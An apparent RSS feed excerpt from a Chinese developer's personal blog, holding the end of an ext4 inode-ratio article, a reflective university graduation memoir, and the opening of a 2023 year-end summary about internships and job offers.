&lt;td&gt;9.09 TiB&lt;/td&gt;
&lt;td&gt;0.036 TiB&lt;/td&gt;
&lt;td&gt;9.06 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14 TB&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;12.73 TiB&lt;/td&gt;
&lt;td&gt;0.796 TiB&lt;/td&gt;
&lt;td&gt;11.94 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14 TB&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;12.73 TiB&lt;/td&gt;
&lt;td&gt;0.398 TiB&lt;/td&gt;
&lt;td&gt;12.34 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14 TB&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;12.73 TiB&lt;/td&gt;
&lt;td&gt;0.199 TiB&lt;/td&gt;
&lt;td&gt;12.53 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14 TB&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;12.73 TiB&lt;/td&gt;
&lt;td&gt;0.099 TiB&lt;/td&gt;
&lt;td&gt;12.63 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14 TB&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;12.73 TiB&lt;/td&gt;
&lt;td&gt;0.050 TiB&lt;/td&gt;
&lt;td&gt;12.68 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16 TB&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;14.55 TiB&lt;/td&gt;
&lt;td&gt;0.909 TiB&lt;/td&gt;
&lt;td&gt;13.64 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16 TB&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;14.55 TiB&lt;/td&gt;
&lt;td&gt;0.455 TiB&lt;/td&gt;
&lt;td&gt;14.10 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16 TB&lt;/td&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;14.55 TiB&lt;/td&gt;
&lt;td&gt;0.227 TiB&lt;/td&gt;
&lt;td&gt;14.32 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16 TB&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;14.55 TiB&lt;/td&gt;
&lt;td&gt;0.114 TiB&lt;/td&gt;
&lt;td&gt;14.44 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16 TB&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;14.55 TiB&lt;/td&gt;
&lt;td&gt;0.057 TiB&lt;/td&gt;
&lt;td&gt;14.50 TiB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;结论&lt;/h2&gt;
&lt;p&gt;那么，我们该如何挑选我们的 &lt;code&gt;inode-ratio&lt;/code&gt; 值呢？&lt;/p&gt;
&lt;p&gt;回到储物柜，如果按照每存一件物品就要在签名表上登记的规则进行物品存取，有可能出现两种情况：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;储物柜格子空间用完了，但是签名表还有大片空白&lt;/li&gt;
&lt;li&gt;签名表用完了，但是还有大量的空闲格子间&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此根据自己的需求来指定这个值，提高空间的利用率，是相当有必要的。并且，除非格式化，这个值设置后就不能更改了。总的来说：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;主要存储图片/视频等大文件，可以使用较大的 &lt;code&gt;inode-ratio&lt;/code&gt; 值，比如 32K/64K&lt;/li&gt;
&lt;li&gt;主要存储小文件 (如&lt;s&gt;node_modules&lt;/s&gt;)，可以使用较小的 &lt;code&gt;inode-ratio&lt;/code&gt; 值，比如 4/8K&lt;/li&gt;
&lt;li&gt;通用存储，可以用 16K&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考文章&lt;/h2&gt;
&lt;p&gt;https://docs.kernel.org/filesystems/ext4/overview.html#layout&lt;/p&gt;
&lt;p&gt;https://blogs.oracle.com/linux/post/understanding-ext4-disk-layout-part-1&lt;/p&gt;
&lt;p&gt;https://blog.zuwei.top/2024/02/10/ext4-file-system/#%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0&lt;/p&gt;
&lt;p&gt;https://lensual.space/archives/896.html&lt;/p&gt;
&lt;p&gt;https://bean-li.github.io/EXT4-packet-meta-blocks/&lt;/p&gt;
&lt;p&gt;https://www.ruanyifeng.com/blog/2011/12/inode.html&lt;/p&gt;
</content:encoded><category>分享</category></item><item><title>毕业</title><link>https://situ2001.com/blog/graduation/</link><guid isPermaLink="true">https://situ2001.com/blog/graduation/</guid><description>致我的大学时光</description><pubDate>Fri, 13 Sep 2024 00:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;盛夏&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;人生的盛夏从大学开始，但同样地，大学时光也在一个盛夏走向结束&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;四年，能让地球的四季轮转四次，也能让一个本科生从大学入学到毕业，让一个人的四季向前一步，从春天进入夏天。四年的时间说快也快，说慢也慢，但始终会过去，如今我已经毕业，已经成为一个社畜。&lt;/p&gt;
&lt;p&gt;是的，大学四年就这样结束了。当时我还觉得不可思议——四年居然就这样度过了，一个人的大学时代就这样落幕了。但我望着空荡荡的姚明柜（PS：学校宿舍经过四改六，柜子无处可放只能置顶了，由于一般人很难够着，于是叫做姚明柜）......哎，毕业已成事实。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;动机&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;逝去的大学时光突然攻击我&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;怎么会突然想起写这样的一篇文章？一天，我在睡前整理 NAS 存放的几百 GB 的照片和视频，看到大学时期拍的几万张照片，不由得心生感慨。虽然在毕业后的几天没有任何波动，但近期，想念的劲头越来越大。这也许就是人们所说的后劲吧。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;为了校准自己的历史记忆。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;再者，为了回忆和总结大学四年到底做过什么。毕竟我偶尔会觉得自己在大学四年虚度光阴，没有花时间在任何事情上。于是就有了这篇文章。&lt;/p&gt;
&lt;h2&gt;我是？&lt;/h2&gt;
&lt;p&gt;首先，本人就读并毕业于广州大学城的一所普通本科院校。&lt;/p&gt;
&lt;p&gt;怎么说呢，当时能来到这所学校，我家人也是没想到的（他们觉得我高中这么浪，专科预定了。对于高中时光，想专门开篇文章回忆，但又担心教坏高中生）。报考学校的时候，估分是是估得刚刚好（其实是考完之后就能猜到是这个分数和名次了......后来没有花额任何时间择校），并下直觉地没有选同级别的其他学校（不然就进志愿服从调剂区间了。比如 A 校，网工专业最低分跟我高考同分但最低名次比我的要高）。于是，我刚好被这所学校的网络工程专业录取。&lt;/p&gt;
&lt;h2&gt;大学&lt;/h2&gt;
&lt;p&gt;翻了翻笔记软件，发现有 2020-2024 的年度时间线总结。它们正躺在文件夹里，等待着我再次翻阅。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;流水账不一定是水字数，它其实能让你知道，原来当时的你，还做过这种事。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;大一&lt;/h3&gt;
&lt;p&gt;初入大学校园，我也跟每一个人一样，对这里的一切感到新鲜感到好奇。开学第一课是由前北邮方校长做主讲，内容挺不错，但可惜不能拍照录像。&lt;/p&gt;
&lt;p&gt;后来 202 班也由班长牵头，聚集在一个教室里进行自我介绍，这应该也是班里同学的第一次见面。虽然后来班集体的存在感越来越弱，但我认为正常，毕竟除了上课就没有什么机会聚在一起了。&lt;/p&gt;
&lt;p&gt;开学心比天高，一天夜晚，骑车出门打算环绕大学城一圈，结果就在不远处的科学中心撞到了台阶，连人带车飞了出去。还好只是小腿磕了一个比较深的伤口，去校医室处理了一下并喜提大学生第一次病假。&lt;/p&gt;
&lt;p&gt;大一闲时会坐 B25 公交 or 地铁 4 号线出岛玩耍。有时候也会一整天宅在宿舍，中午晚上都点外卖，当年还处于疫情期间，点了外卖也要走一段路去生活区栏杆处取外卖。说起外卖，很幸运地，大学四年都没被偷过外卖（&lt;s&gt;可能是点外卖的次数太少了&lt;/s&gt;）&lt;/p&gt;
&lt;p&gt;上学期的一个周末，闲的无聊，看学校网安协会有个 CTF 新生赛就参加了。凭着高二高三折腾教室电脑的经验，水了个新生第一，同时也结实了在上大学以来的第一个好伙伴 favorhau。也去参加了网安协会的总结会，会上学长打在屏幕上的这句话令我印象深刻：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;以坚持为土地，热爱为星空，成长为驱动，砥砺前行，勿忘初心。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;同时期，我也开了自己的博客，用来记录自己的成长和学习（后期转用笔记 app 了，博客只用来分享文章）。&lt;/p&gt;
&lt;p&gt;入冬，学院举行了大学生涯规划大赛。我也参加了，可能是 PPT 太幼稚且太理想化的原因，再受限于当时羸弱的语言表达能力，最后只拿了个优秀奖（&lt;s&gt;安慰奖&lt;/s&gt;）。不过，对于 PPT 的内容，现在的我完成一大半，甚至已经全部完成了。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;到了期末周，大伙都在紧张复习，我也不例外。但是，考前的元旦假吃得太上火了，我喜提发烧。按照当时的规则，我会被送到大学城医院看病和抽血检验，然后送到学校的隔离宿舍进行一个隔离。因此，我喜提总共 10 学分课程的人生第一次缓考（大概占保研绩点结算的 1/ 14 的权重），绩点直接爆炸，断了我保研的念头。我也第一次享受到了发热隔离。不过隔离房间的待遇挺不错的，三餐管饱，早上还有医生来喊你起床，给你量体温和捅喉咙。除了没有网络，其他都挺不错（前提是短期隔离）&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;命运有时候就是这么造化弄人&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;期末考后（对于我是发烧痊愈后），进行了学校史无前例的冬季军训，每天在 10 来度的室外呆一整天，真的很难受。并且中途还出现过寒潮冻雨，所有人暂停训练一天。&lt;/p&gt;
&lt;p&gt;军训结束之后，学院给安排了一个图书馆经典百书 app 项目，想做的可以寒假留下。正好在那个时候，我当时在寻找学校的软件开发组织，因此，我也报了个名。不过，在学校呆了 4 天后，学院说前一段时间已经外包出去了...要我们马上撤离学校（PS 当时疫情）。&lt;/p&gt;
&lt;p&gt;于是，我第一次成为宿舍最后一个走的人，但不是最后一次，心境也不一样。一人住六人间。午后也可以在空荡荡的宿舍楼和校园散步。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;寒假宅在家里吃了睡睡了吃，当然，顺便学会了 Python。为了学习 Python，我写了个 &quot;卷王的工具&quot;，可以爬别人的绩点/排名，不过这个问题已经反馈上去并修复了。后面还因为懒得打卡而搞了个疫情打卡 Python 脚本。为了避免天天刷经典诵读而整了个自动化刷分脚本（我很很很讨厌古文背诵，高考语文背诵题也敢全空的那种。但这个项目占了 1 学分，会影响毕业...没办法，只能上脚本了）。&lt;/p&gt;
&lt;p&gt;在家里通过了学院的创新班面试，成为了其中一员。大一下就参加这个班的一些活动和课题了，不过，由于个人兴趣不在深度学习上面，于是我在这个班里充当一个无形的调和者（&lt;s&gt;客服&lt;/s&gt;）的角色：帮同学解决代码问题，帮配置电脑/软件/网络环境，偶尔还会谈谈心之类的。同样地，在这个班级里，我也结识了不少的小伙伴，虽然后面说话次数少了，但是他们也没有忘记我。&lt;/p&gt;
&lt;p&gt;大一暑假将近结束，我顺便报名参加了字节第一次搞得前端训练营并进了进阶班，做了项目，最后拿了个团队第二名&amp;amp;结营证书（拿奖比例好像是 50/2000+），还收到了带有李松峰亲笔签名的 JS 犀牛书。不过，按字节那节奏，这玩意迟早会烂大街。果不其然，后面各种高频率举办这个活动 + 放水，于是乎这个经历和奖烂大街了。（PS：据说近年的前端校招简历全是这个经历🤣）&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;但是，重点不是你参加过什么，而是你获得了什么。参加这个活动学会了知识，甚至还结识了几个 nice 的小伙伴，后来经常在飞书水群聊天，真心觉得不错。任何一次机会，其实都可以是一次缘分的开始。&lt;/p&gt;
&lt;p&gt;顺便，入坑了 web 前端开发。&lt;/p&gt;
&lt;h3&gt;大二&lt;/h3&gt;
&lt;p&gt;纵观整个中学和大学时光，大二可能是我人生中学习强度最高的时候了。当然也有一些感情相关的事情。&lt;/p&gt;
&lt;p&gt;这一年，慢慢啃了几本经典的计算机图书，它们让我更了解软件/网络的运行原理：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The C Programming Language&lt;/li&gt;
&lt;li&gt;Computer Systems: A Programmer&apos;s Perspective&lt;/li&gt;
&lt;li&gt;Operating Systems: Three Easy Pieces&lt;/li&gt;
&lt;li&gt;Computer Networking: a Top Down Approach&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;把英语六级也考了。可能是啃生肉图书啃的吧，没怎么准备过，最后 550 多分低空飘过考试。&lt;/p&gt;
&lt;p&gt;第一学期的期末周/课设周，比较印象深刻的是一个 16 位 CPU 的指令集（微程序）设计，虽然设计用的软件也是 bug 多多，但还是整个过程挺享受的。我记得我在课设前还占用老师将近一小时时间来给大家讲解课设如何设计一个简单指令呢，事后同学反馈说通俗易懂。&lt;/p&gt;
&lt;p&gt;期末周也跟着一个学长一起做了个静态页面外包，可能是我第一次给别人写正经的 web 前端页面，虽然这个页面实现起来很简单。&lt;/p&gt;
&lt;p&gt;接着便开始了一个多月的寒假。没有人可以持续高能量地走完人生的长河吧？我在这段时间见到了很多大佬，我低迷过、自我怀疑过，觉得自己就是不如别人。但在一个春光明媚的午后，我对自己说：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;努力成为自己想要的自己，而不是成为自己想要成为的那个别人&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;下学期，我加入了学校的网络中心团队，开始维护广大派（不知道还有没有人记得 TA。一个学长开发的校园类小程序，后来&lt;s&gt;因为难管理生活墙的言论&lt;/s&gt;而被学校要求下架了...）。顺便也参加了网络中心的一些 app 项目，不过后来由于老师缺乏项目管理意识&amp;amp;经常提天马行空的需求，这些项目无疾而终。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;参加了一些比赛活动，跟 favorhau 的组队参加微信小程序开发赛，最后拿了个全国一等奖😆（这个比赛后来停办了...）。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;此外，还参加了阿里巴巴的开源之夏并完成了课题（这个活动后来也停办了...）。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;难道我是行业冥灯&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;最后，拿着这两个活动的奖金，自己给自己买了人生的第一台 Macbook&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;大三&lt;/h3&gt;
&lt;p&gt;紧接着就开始了大三生活。这个大三生活就比较魔幻了：疫情防控史诗级加强，任何风吹草动都会惊蛇。于是，我在十一月的某个冬日迎来了第一次长达一周的封校。不过，学校提供的粮食还是很充足的。解封不久，就收到我高中同学的信息：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;快点逃回老家，据小道消息说，广州要来大的了！&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;结合最近封控区域越来越多，以及学校最近在不断地往外输送学生。慌乱之下，我召集了几个高中同学，在大学城高速附近聚合，打了个车，准备连夜回家。结果刚上高速，就收到了消息：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;广州多区最新通告：解除疫情防控临时管控区&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;但学校让回家也让了，我回也回了，已经无所谓了。回到家就好好呆着吧，希望这是好的开始。&lt;/p&gt;
&lt;p&gt;也就 10 天后吧，老家也永久解除了疫情防控和大规模核酸检测。不过，沉浸在保护罩两三年，突然说没就没，大家的恐惧才真正开始。后面相当的一段时间，街道都是空荡荡的，茶楼也是关门不营业。这段时间我在家享受居家学习生活：上网课，甚至期末考试也是在线上。当然这段日子也给用到的笔记工具 logseq 修 bug，顺带学会了 FP 语言 Clojure&lt;/p&gt;
&lt;p&gt;过完春节，思考了一下，这个时间点是时候要找个实习了。于是就在 BOSS 找了几家开面，当时由于时间紧，我只花了一周从找实习到实习 offer 。找到了就结束了吗？nonono，我当时在家因为要只身去北京这件事难受了好久😣&lt;/p&gt;
&lt;p&gt;但最后家人和亲戚还是支持我的。于是，我在二月底开启了人生的第一次进京。从祖国的南端到北端，约 2000km 路程，说实话真的好远好远。飞机要将近 3 小时，来回机票钱快 3000 了。但好在生活比较充实，工作时间 1065，晚上回到家有大把时间做自己地事情，周末也可以搭 13 号线进城游玩景点，这两个半月的实习，我把热门的景点逛了个遍。&lt;/p&gt;
&lt;p&gt;这里放一张沙尘暴的照片，代表我对北京气候的印象。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;后来找到了个深圳的工作，就在 5 月中旬结束北京实习，飞回南方了。在深圳实习的时候，也顺手也拿了好多个比较大的公司的 offer 保底。不过后来我评估了一下自己的体能，选择留在了实习的公司。&lt;/p&gt;
&lt;h3&gt;大四&lt;/h3&gt;
&lt;p&gt;我的大学实习生活从 3 月开始，到 9 月结束，刚好半年。结束实习后，回到了学校享受闲适的大学大四时光。&lt;/p&gt;
&lt;p&gt;给自己买了很多当年想买却不舍得买的显示器、游戏主机、头戴耳机等电子设备。&lt;/p&gt;
&lt;p&gt;开始喜欢上猫咪。也沉迷上了轨道交通，这大半年经常出门做运转，也常在自己的 MC 服务器里建地铁。&lt;/p&gt;
&lt;p&gt;出岛游玩的频率又回到大一的频率。值得一提的是，12 月中，我在寒潮的日子去杭州上海玩了六天，同时会见了大一暑假认识的线上飞书群友。在盛夏线上相识，在寒潮线下相见，这下闭环了。&lt;/p&gt;
&lt;p&gt;不知不觉时间来到了离毕业 100 天的节点，要做毕业设计了。趁此机会，我用 Rust 写了一个多协议多功能 DNS Proxy。结果很魔幻地，我在预答辩的时候差点被一个老师打不及格。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Q：你介绍一下这是什么？&lt;/li&gt;
&lt;li&gt;A：你看这个图就行，虽然有点复杂，但是我们可以抛开其他层次，从最核心的部分和离用户最近的部分开始，首先，这本质是一个 Proxy，然后用户只需要在命令行输入对应的指令和参数就能使用这个软件。接着，我们把目光放到功能组合&amp;amp;拓展上....&lt;/li&gt;
&lt;li&gt;Q：（打断我发言）这么简单的东西也想拿来混毕设？意义是什么？&lt;/li&gt;
&lt;li&gt;Q：（开始钻牛角尖）你看看这个，为什么 DNS 报文放在了 HTTPS 协议上？&lt;/li&gt;
&lt;li&gt;A：这是 DoH 协议&lt;/li&gt;
&lt;li&gt;Q：这是你胡编乱造的协议吗？别当我没有教过计算机网络，我还教过好几年的计网...书上说了 DNS 协议是通过 UDP 协议传输的！&lt;/li&gt;
&lt;li&gt;A：（拿出了 RFC8484）你看看这个规范...&lt;/li&gt;
&lt;li&gt;Q：你这个又是什么东西？正规吗？（我内心：？）那你说说你这个 DoH 全称是啥？&lt;/li&gt;
&lt;li&gt;A：（指向标题）DNS over HTTPS...&lt;/li&gt;
&lt;li&gt;Q：（思考片刻，指向标题）不对不对，你说的少了个 Queries（标题是 DNS Queries over HTTPS）&lt;/li&gt;
&lt;li&gt;（这里省略一堆为了证明他就是对的我就是错的对话。老师全程没让我深入解说，全在钻我牛角尖...）&lt;/li&gt;
&lt;li&gt;Q：好了，今天就到这里吧（20 分钟过去了）。你需要回去改改图，Client 里的 UDP/TCP/TLS/HTTPS/QUIC 怎么能画在同一层呢？这么拉跨的网络知识，连 7 层协议都分不清，还敢做这种毕设？我没被你误导都算好的了（我内心：不看上下文就生搬硬套？直接扣我一顶帽子？）&lt;/li&gt;
&lt;li&gt;A：好的好的，我会改（后面我没有改，毕竟改了就真的错了🤣）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这还是学院被学生投票过的最受欢迎的老师的行为。全文下来，只要超出他的认知就会使劲打压你，真是让人大开眼界了。那么，为什么上课不会这样呢？我想一定是教的内容都在他的认知和控制范围内吧，哈哈。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这何尝不是进社会前的一课&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;反观我的指导老师很 nice，不懂的都会问我，会耐心地听我解释。并且，在创造的时候，自己至少是开心的，并且入门了 Rust，不亏不亏。&lt;/p&gt;
&lt;p&gt;还好答辩的时候那老师没有为难我什么，只是说了我论文的英语词汇太多了无法一下子看懂...&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;还好最后顺利毕业了～&lt;/p&gt;
&lt;p&gt;接下来就是毕业典礼，我的大学时光也随着这隆重仪式的结束，被画上了句号。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;我是&lt;/h2&gt;
&lt;p&gt;历史回忆到此为止。&lt;/p&gt;
&lt;p&gt;大学四年下来，我获得了什么成长？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;找到自我：我自己就是我自己，我有我追求的东西，我有我喜爱的东西，我不会被各种标签和惯性路径给束缚&lt;/li&gt;
&lt;li&gt;心理素质由差变好。不会因为失败而一直伤心和低落。也不会因为世界并非预期而停止前进的步伐&lt;/li&gt;
&lt;li&gt;语言表达能力进步了。如果你们看过我博客的早期文章，你会发现它们非常口语化、啰嗦且不达要点...这可能就是为什么高考语文刚好及格吧...&lt;/li&gt;
&lt;li&gt;终于开始不是只用感觉/直觉思考问题了。同时成为 Problem-Solver&lt;/li&gt;
&lt;li&gt;开始成为无形的 influencer。举个例子，影响身边的人走上了软件开发的路，并在毕业的时候也找到了一些还不错的公司。该过程没有任何强组织行为、强求和 PUA（更多是靠所谓的人格魅力？）。同时也结识了不少朋友&lt;/li&gt;
&lt;li&gt;学会了教学，并能把别人从不懂教到懂&lt;/li&gt;
&lt;li&gt;懂得如何关心别人并顾及他人的感受&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;有什么遗憾呢？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;四年都没加入过正儿八经的软件开发类院组织/校组织（因为压根就没有组织），也没有成功创立起这样的组织（有一个大佬学长专门发邮件问我有没有想法，结果最后只结识了学长本人...）&lt;/li&gt;
&lt;li&gt;没有好好利用大学的时间，所有事都是感觉驱动的，好了就做，不好就摆烂（直到快毕业的时候给自己上了 GTD 才好点...）&lt;/li&gt;
&lt;li&gt;没有好好地运营博客，运营 Twitter/小红书/微信公众号。可能也跟我比较内向有关。举个例子，每次发文章的时候无感，一段时间就恨不得想删了并找个洞钻进去，或者不敢回看&lt;/li&gt;
&lt;li&gt;跟陌生人正经 1v1 交流（比如面试）的时候还是会紧张&lt;/li&gt;
&lt;li&gt;面对只能多选一的抉择的时候必定会大脑宕机，然后使用当下的感觉做决策&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;哎，无所谓，谁没有那么几个遗憾啊。世界是变化的，后面慢慢让自己变得更好就行了。&lt;/p&gt;
&lt;h2&gt;我想成为&lt;/h2&gt;
&lt;p&gt;读完大学后，我想成为掌握这些技能的这样一个人。就在这里给自己人生立一个 flag 吧。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;软件开发&lt;/li&gt;
&lt;li&gt;IT/网络运维&lt;/li&gt;
&lt;li&gt;教育&lt;/li&gt;
&lt;li&gt;心理学&lt;/li&gt;
&lt;li&gt;多语言：普通话/英语/粤语/日语&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;永恒的盛夏&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;短暂的结束，不一定是永恒的终结。瞬间是永恒的开始，永恒是瞬间的结束。 —— 瞬间即永恒&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;虽然我的大学短暂，也不完美。&lt;/p&gt;
&lt;p&gt;但我还是挺开心的，因为大学可以给一个人做他自己想做的事情，让他找到他想成为的人。&lt;/p&gt;
&lt;p&gt;虽然大学在人的一生中很短暂，四年一瞬。&lt;/p&gt;
&lt;p&gt;但对我说已是永恒了，我不会忘掉这段盛夏时光。&lt;/p&gt;
&lt;p&gt;也在这里感谢我相识的每一个人，感谢你们让我成为我现在的自己。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
</content:encoded><category>随笔</category></item><item><title>2023 年终总结</title><link>https://situ2001.com/blog/2023-summary/</link><guid isPermaLink="true">https://situ2001.com/blog/2023-summary/</guid><description>我的 2023 年终总结</description><pubDate>Mon, 01 Jan 2024 04:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;又一年过去了，尝试用十大关键词总结自己的 2023 年：解封、实习、秋招、开发、生产力、旅行、游戏、阅读、观影、电子设备、生病。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;解封&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;旧的结束是新的开始。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这里提一下疫情解封，如果 2023 年疫情管控仍未解除，我的情况将完全不同。&lt;/p&gt;
&lt;h2&gt;实习&lt;/h2&gt;
&lt;p&gt;为了体验公司工作流程与为秋招积攒经验，我在寒假结束后去了北京，在滴滴实习了三个月。同年 5 月，回到深圳，在 TME 实习了四个月后回校。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;实习期间涉及到的技术&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;跨端应用开发&lt;/li&gt;
&lt;li&gt;React 移动端 H5 页面开发&lt;/li&gt;
&lt;li&gt;部门 JS 基础库维护、开发&lt;/li&gt;
&lt;li&gt;客户端 JSBridge, JS binding 维护、开发、适配&lt;/li&gt;
&lt;li&gt;Cocos 小游戏适配&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;实习期间开发涉及到的软件产品&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;滴滴车主&lt;/li&gt;
&lt;li&gt;滴滴司机部落&lt;/li&gt;
&lt;li&gt;QQ 音乐&lt;/li&gt;
&lt;li&gt;全民 K 歌&lt;/li&gt;
&lt;li&gt;懒人听书&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;实习做的事情还算充实。并且，在实习后期，还处于一种只要是客户端都会去做的情况（前端、Android、iOS），下面是某一周的 wakatime 统计。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Languages&lt;/th&gt;
&lt;th&gt;Time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;JavaScript&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9 hrs 40 mins&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TypeScript&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;5 hrs 37 mins&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Clojure&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;3 hrs 23 mins&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kotlin&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1hr 36 mins&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Java&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1 hr 15 mins&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Objective-C&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;50 mins&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ezhil&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;31 mins&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GDScript&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;29 mins&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Other&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;28 mins&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;秋招&lt;/h2&gt;
&lt;p&gt;因为实习具有不确定性，即实习是否能留下。于是在 8 月，我开始了秋招。拿了若干家公司的 offer，基本是 SP or SSP（岗位：前端开发）&lt;/p&gt;
&lt;ul&gt;
